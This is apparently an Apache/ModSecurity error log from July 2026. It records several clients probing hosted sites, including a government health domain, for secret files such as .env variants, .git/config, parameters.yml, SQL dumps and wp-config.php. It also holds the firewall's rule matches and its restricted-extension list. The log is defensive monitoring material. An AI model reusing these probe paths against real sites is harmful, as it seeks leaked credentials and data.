[Fri Jul 17 08:27:10.216717 2026] [security2:error] [pid 1993572:tid 1993572] [client 100.24.67.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "systemtec.lk"] [uri "/.env.dev"] [unique_id "almaBol9vhFBGA6D8l92IQAAAAw"]
[Fri Jul 17 08:27:10.217165 2026] [security2:error] [pid 1993572:tid 1993572] [client 100.24.67.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "systemtec.lk"] [uri "/.env.dev"] [unique_id "almaBol9vhFBGA6D8l92IQAAAAw"]
[Fri Jul 17 08:27:10.219107 2026] [security2:error] [pid 1994967:tid 1994967] [client 32.192.229.88:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "trails.lk"] [uri "/.env.dev"] [unique_id "almaBkhq6UAnqYko0LpXEgAAABE"]
[Fri Jul 17 08:27:10.219358 2026] [security2:error] [pid 1994967:tid 1994967] [client 32.192.229.88:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "trails.lk"] [uri "/.env.dev"] [unique_id "almaBkhq6UAnqYko0LpXEgAAABE"]
[Fri Jul 17 08:27:10.222605 2026] [security2:error] [pid 1993659:tid 1993659] [client 32.192.229.88:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "trails.lk"] [uri "/.git/config"] [unique_id "almaBpOFLENLI63GGOEKAQAAAAQ"]
[Fri Jul 17 08:27:10.222847 2026] [security2:error] [pid 1993659:tid 1993659] [client 32.192.229.88:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "trails.lk"] [uri "/.git/config"] [unique_id "almaBpOFLENLI63GGOEKAQAAAAQ"]
[Fri Jul 17 08:27:10.252810 2026] [security2:error] [pid 1993668:tid 1993668] [client 100.24.67.159:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "systemtec.lk"] [uri "/backup.sql"] [unique_id "almaBhAi3pC6yjXGNq19CwAAAAU"]
[Fri Jul 17 08:27:10.256037 2026] [security2:error] [pid 1993668:tid 1993668] [client 100.24.67.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "systemtec.lk"] [uri "/backup.sql"] [unique_id "almaBhAi3pC6yjXGNq19CwAAAAU"]
[Fri Jul 17 08:27:10.256642 2026] [security2:error] [pid 1993668:tid 1993668] [client 100.24.67.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "systemtec.lk"] [uri "/backup.sql"] [unique_id "almaBhAi3pC6yjXGNq19CwAAAAU"]
[Fri Jul 17 08:27:10.260220 2026] [security2:error] [pid 1993573:tid 1993573] [client 3.236.14.214:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "nccp.health.gov.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaBnt8zp89pALg8Q5k6wAAAA4"]
[Fri Jul 17 08:27:10.260516 2026] [security2:error] [pid 1993573:tid 1993573] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "nccp.health.gov.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaBnt8zp89pALg8Q5k6wAAAA4"]
[Fri Jul 17 08:27:10.260831 2026] [security2:error] [pid 1993573:tid 1993573] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "nccp.health.gov.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaBnt8zp89pALg8Q5k6wAAAA4"]
[Fri Jul 17 08:27:10.281415 2026] [security2:error] [pid 2008451:tid 2008451] [client 32.192.229.88:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "trails.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaBgPhWp7RzB65h36ehAAAAA0"]
[Fri Jul 17 08:27:10.281728 2026] [security2:error] [pid 2008451:tid 2008451] [client 32.192.229.88:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "trails.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaBgPhWp7RzB65h36ehAAAAA0"]
[Fri Jul 17 08:27:10.310975 2026] [security2:error] [pid 2002425:tid 2002425] [client 32.192.229.88:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "trails.lk"] [uri "/.env.local"] [unique_id "almaBqUJv0yl2bIgVrkNIgAAABU"]
[Fri Jul 17 08:27:10.313643 2026] [security2:error] [pid 2002425:tid 2002425] [client 32.192.229.88:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "trails.lk"] [uri "/.env.local"] [unique_id "almaBqUJv0yl2bIgVrkNIgAAABU"]
[Fri Jul 17 08:27:10.323620 2026] [authz_core:error] [pid 1993573:tid 1993573] [client 32.192.229.88:0] AH01630: client denied by server configuration: /home/trails/public_html/wp-config.php
[Fri Jul 17 08:27:10.324126 2026] [security2:error] [pid 1993570:tid 1993570] [client 32.192.229.88:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "trails.lk"] [uri "/.env.production"] [unique_id "almaBnjA8yK8B7kryx3hbwAAAAk"]
[Fri Jul 17 08:27:10.324375 2026] [security2:error] [pid 1993570:tid 1993570] [client 32.192.229.88:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "trails.lk"] [uri "/.env.production"] [unique_id "almaBnjA8yK8B7kryx3hbwAAAAk"]
[Fri Jul 17 08:27:10.335535 2026] [security2:error] [pid 1994446:tid 1994446] [client 32.192.229.88:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "trails.lk"] [uri "/database.sql"] [unique_id "almaBl2NhE8i6ppze4etmgAAAAs"]
[Fri Jul 17 08:27:10.335928 2026] [security2:error] [pid 1994446:tid 1994446] [client 32.192.229.88:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "trails.lk"] [uri "/database.sql"] [unique_id "almaBl2NhE8i6ppze4etmgAAAAs"]
[Fri Jul 17 08:27:10.336191 2026] [hostinglimits:warn] [pid 1994446:tid 1994446] mod_hostinglimits: Error on LVE enter: LVE(1076) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/b36c2a497adbc66630208a76c6f7c34b4b004f6a.sock|fcgi://trails.lk) HOSTNAME(trails.lk) URL(/index.php) TID(1994446) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:27:10.336346 2026] [security2:error] [pid 1994446:tid 1994446] [client 32.192.229.88:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "trails.lk"] [uri "/index.php"] [unique_id "almaBl2NhE8i6ppze4etmgAAAAs"]
[Fri Jul 17 08:27:10.341999 2026] [security2:error] [pid 1993572:tid 1993572] [client 3.236.14.214:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "nccp.health.gov.lk"] [uri "/backup.sql"] [unique_id "almaBol9vhFBGA6D8l92IwAAAAw"]
[Fri Jul 17 08:27:10.342405 2026] [security2:error] [pid 1993572:tid 1993572] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "nccp.health.gov.lk"] [uri "/backup.sql"] [unique_id "almaBol9vhFBGA6D8l92IwAAAAw"]
[Fri Jul 17 08:27:10.342739 2026] [security2:error] [pid 1993572:tid 1993572] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "nccp.health.gov.lk"] [uri "/backup.sql"] [unique_id "almaBol9vhFBGA6D8l92IwAAAAw"]
[Fri Jul 17 08:27:10.377625 2026] [security2:error] [pid 1993572:tid 1993572] [client 32.192.229.88:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "trails.lk"] [uri "/.env.backup"] [unique_id "almaBol9vhFBGA6D8l92JQAAAAw"]
[Fri Jul 17 08:27:10.377838 2026] [security2:error] [pid 1993572:tid 1993572] [client 32.192.229.88:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "trails.lk"] [uri "/.env.backup"] [unique_id "almaBol9vhFBGA6D8l92JQAAAAw"]
[Fri Jul 17 08:27:10.378095 2026] [security2:error] [pid 1993572:tid 1993572] [client 32.192.229.88:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "trails.lk"] [uri "/.env.backup"] [unique_id "almaBol9vhFBGA6D8l92JQAAAAw"]
[Fri Jul 17 08:27:10.378287 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1076) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/b36c2a497adbc66630208a76c6f7c34b4b004f6a.sock|fcgi://trails.lk) HOSTNAME(trails.lk) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:27:10.378465 2026] [security2:error] [pid 1993572:tid 1993572] [client 32.192.229.88:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "trails.lk"] [uri "/index.php"] [unique_id "almaBol9vhFBGA6D8l92JQAAAAw"]
[Fri Jul 17 08:27:10.396364 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1076) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/b36c2a497adbc66630208a76c6f7c34b4b004f6a.sock|fcgi://trails.lk) HOSTNAME(trails.lk) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:27:10.400154 2026] [security2:error] [pid 1993572:tid 1993572] [client 32.192.229.88:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "trails.lk"] [uri "/db.sql"] [unique_id "almaBol9vhFBGA6D8l92JwAAAAw"]
[Fri Jul 17 08:27:10.400514 2026] [security2:error] [pid 1993572:tid 1993572] [client 32.192.229.88:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "trails.lk"] [uri "/db.sql"] [unique_id "almaBol9vhFBGA6D8l92JwAAAAw"]
[Fri Jul 17 08:27:10.400781 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1076) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/b36c2a497adbc66630208a76c6f7c34b4b004f6a.sock|fcgi://trails.lk) HOSTNAME(trails.lk) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:27:10.400940 2026] [security2:error] [pid 1993572:tid 1993572] [client 32.192.229.88:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "trails.lk"] [uri "/index.php"] [unique_id "almaBol9vhFBGA6D8l92JwAAAAw"]
[Fri Jul 17 08:27:10.404071 2026] [security2:error] [pid 1994446:tid 1994446] [client 32.192.229.88:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "trails.lk"] [uri "/.env.staging"] [unique_id "almaBl2NhE8i6ppze4etnAAAAAs"]
[Fri Jul 17 08:27:10.404396 2026] [security2:error] [pid 1994446:tid 1994446] [client 32.192.229.88:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "trails.lk"] [uri "/.env.staging"] [unique_id "almaBl2NhE8i6ppze4etnAAAAAs"]
[Fri Jul 17 08:27:10.404642 2026] [hostinglimits:warn] [pid 1994446:tid 1994446] mod_hostinglimits: Error on LVE enter: LVE(1076) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/b36c2a497adbc66630208a76c6f7c34b4b004f6a.sock|fcgi://trails.lk) HOSTNAME(trails.lk) URL(/index.php) TID(1994446) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
